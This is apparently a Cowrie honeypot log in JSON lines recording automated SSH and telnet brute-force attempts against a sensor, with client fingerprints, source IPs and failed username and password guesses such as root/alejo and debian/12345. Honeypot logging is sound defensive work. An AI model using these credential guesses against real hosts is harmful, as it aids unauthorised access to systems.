{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:36.231584Z","src_ip":"45.153.34.97","session":"c3602be05e34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:36.986253Z","src_ip":"45.153.34.97","session":"c3602be05e34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.9008412361145,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:38.096801Z","src_ip":"152.42.224.71","session":"6979c05326c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:38.179783Z","src_ip":"45.153.34.97","session":"c3602be05e34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":33860,"dst_ip":"10.17.0.5","dst_port":22,"session":"67a76e8b1927","protocol":"ssh","message":"New connection: 45.153.34.97:33860 (10.17.0.5:22) [session: 67a76e8b1927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:40.515165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:40.519881Z","src_ip":"45.153.34.97","session":"67a76e8b1927","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:40.602116Z","src_ip":"45.153.34.97","session":"67a76e8b1927","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser123","message":"login attempt [devuser/devuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:40.888186Z","src_ip":"45.153.34.97","session":"67a76e8b1927","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.9084677696228,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:41.664675Z","src_ip":"152.42.224.71","session":"ae114ced3900","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:41.981514Z","src_ip":"45.153.34.97","session":"67a76e8b1927","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":46608,"dst_ip":"159.203.135.109","dst_port":22,"session":"3aa06a0a8a86","protocol":"ssh","message":"New connection: 139.19.117.129:46608 (159.203.135.109:22) [session: 3aa06a0a8a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:42.159709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:42.171817Z","src_ip":"139.19.117.129","session":"3aa06a0a8a86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:42.264407Z","src_ip":"139.19.117.129","session":"3aa06a0a8a86","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:4b:63:6c:22:ce:c8:04:6d:ba:52:b7:cb:dd:55:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnKb2IKseA8OythUyb9mautn4i7TlQGjs93aansUyGhg6gBlIc94FH8uQQkaBsQkhCIMXTr963fHtbKdzvaQdIeXBvMLQxyVZe0td5Vh3QS5I6mPsPj3ox+N5ATYGTMQJ1LmGQAVe+mwGv1GFEwTE5EH5uXwvQVKLB5VRTp2WwO0HDUL96AevkB+YnrsRhA3GiYDDhmih1laXEjcab+vhCyEGMsc/1YK57s/S6zP0B3426EOBA0ABi0JNfiB0e0BzGe8Waigd0RZQqdP/vgT8H6tBUtffAjkGJ1Vujh8qGknmhCIP/vitTbzoaRJHqMEb2+dQnaDvydqpUxpqiVXAP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:4b:63:6c:22:ce:c8:04:6d:ba:52:b7:cb:dd:55:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:42.451777Z","src_ip":"139.19.117.129","session":"3aa06a0a8a86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:4b:63:6c:22:ce:c8:04:6d:ba:52:b7:cb:dd:55:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnKb2IKseA8OythUyb9mautn4i7TlQGjs93aansUyGhg6gBlIc94FH8uQQkaBsQkhCIMXTr963fHtbKdzvaQdIeXBvMLQxyVZe0td5Vh3QS5I6mPsPj3ox+N5ATYGTMQJ1LmGQAVe+mwGv1GFEwTE5EH5uXwvQVKLB5VRTp2WwO0HDUL96AevkB+YnrsRhA3GiYDDhmih1laXEjcab+vhCyEGMsc/1YK57s/S6zP0B3426EOBA0ABi0JNfiB0e0BzGe8Waigd0RZQqdP/vgT8H6tBUtffAjkGJ1Vujh8qGknmhCIP/vitTbzoaRJHqMEb2+dQnaDvydqpUxpqiVXAP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:42.455845Z","src_ip":"139.19.117.129","session":"3aa06a0a8a86","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:4b:63:6c:22:ce:c8:04:6d:ba:52:b7:cb:dd:55:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnKb2IKseA8OythUyb9mautn4i7TlQGjs93aansUyGhg6gBlIc94FH8uQQkaBsQkhCIMXTr963fHtbKdzvaQdIeXBvMLQxyVZe0td5Vh3QS5I6mPsPj3ox+N5ATYGTMQJ1LmGQAVe+mwGv1GFEwTE5EH5uXwvQVKLB5VRTp2WwO0HDUL96AevkB+YnrsRhA3GiYDDhmih1laXEjcab+vhCyEGMsc/1YK57s/S6zP0B3426EOBA0ABi0JNfiB0e0BzGe8Waigd0RZQqdP/vgT8H6tBUtffAjkGJ1Vujh8qGknmhCIP/vitTbzoaRJHqMEb2+dQnaDvydqpUxpqiVXAP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:4b:63:6c:22:ce:c8:04:6d:ba:52:b7:cb:dd:55:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:42.551552Z","src_ip":"139.19.117.129","session":"3aa06a0a8a86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:4b:63:6c:22:ce:c8:04:6d:ba:52:b7:cb:dd:55:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnKb2IKseA8OythUyb9mautn4i7TlQGjs93aansUyGhg6gBlIc94FH8uQQkaBsQkhCIMXTr963fHtbKdzvaQdIeXBvMLQxyVZe0td5Vh3QS5I6mPsPj3ox+N5ATYGTMQJ1LmGQAVe+mwGv1GFEwTE5EH5uXwvQVKLB5VRTp2WwO0HDUL96AevkB+YnrsRhA3GiYDDhmih1laXEjcab+vhCyEGMsc/1YK57s/S6zP0B3426EOBA0ABi0JNfiB0e0BzGe8Waigd0RZQqdP/vgT8H6tBUtffAjkGJ1Vujh8qGknmhCIP/vitTbzoaRJHqMEb2+dQnaDvydqpUxpqiVXAP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:42.555344Z","src_ip":"139.19.117.129","session":"3aa06a0a8a86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":33872,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8412094fbd5","protocol":"ssh","message":"New connection: 45.153.34.97:33872 (10.17.0.5:22) [session: e8412094fbd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:44.877166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:45.080861Z","src_ip":"45.153.34.97","session":"e8412094fbd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:45.084804Z","src_ip":"45.153.34.97","session":"e8412094fbd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"12345","message":"login attempt [debian/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:45.490658Z","src_ip":"45.153.34.97","session":"e8412094fbd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:46.581313Z","src_ip":"45.153.34.97","session":"e8412094fbd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":33878,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2843b133bcf","protocol":"ssh","message":"New connection: 45.153.34.97:33878 (10.17.0.5:22) [session: d2843b133bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:49.494112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:49.499268Z","src_ip":"45.153.34.97","session":"d2843b133bcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:49.593720Z","src_ip":"45.153.34.97","session":"d2843b133bcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:49.880620Z","src_ip":"45.153.34.97","session":"d2843b133bcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:50.979455Z","src_ip":"45.153.34.97","session":"d2843b133bcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":47674,"dst_ip":"10.17.0.5","dst_port":22,"session":"954e25a0ad42","protocol":"ssh","message":"New connection: 43.153.36.83:47674 (10.17.0.5:22) [session: 954e25a0ad42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:51.680318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:51.685187Z","src_ip":"43.153.36.83","session":"954e25a0ad42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:51.753319Z","src_ip":"43.153.36.83","session":"954e25a0ad42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alejo","message":"login attempt [root/alejo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:52.057466Z","src_ip":"43.153.36.83","session":"954e25a0ad42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:52.159520Z","src_ip":"139.19.117.129","session":"3aa06a0a8a86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:53.129041Z","src_ip":"43.153.36.83","session":"954e25a0ad42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":13192,"dst_ip":"10.17.0.5","dst_port":22,"session":"75cafff502b7","protocol":"ssh","message":"New connection: 45.153.34.97:13192 (10.17.0.5:22) [session: 75cafff502b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:53.770001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:53.932505Z","src_ip":"45.153.34.97","session":"75cafff502b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:53.936769Z","src_ip":"45.153.34.97","session":"75cafff502b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:55.082203Z","src_ip":"45.153.34.97","session":"75cafff502b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53186,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0a03f4c8e2a","protocol":"telnet","message":"New connection: 152.42.224.71:53186 (10.17.0.5:23) [session: e0a03f4c8e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:56.172280Z"}
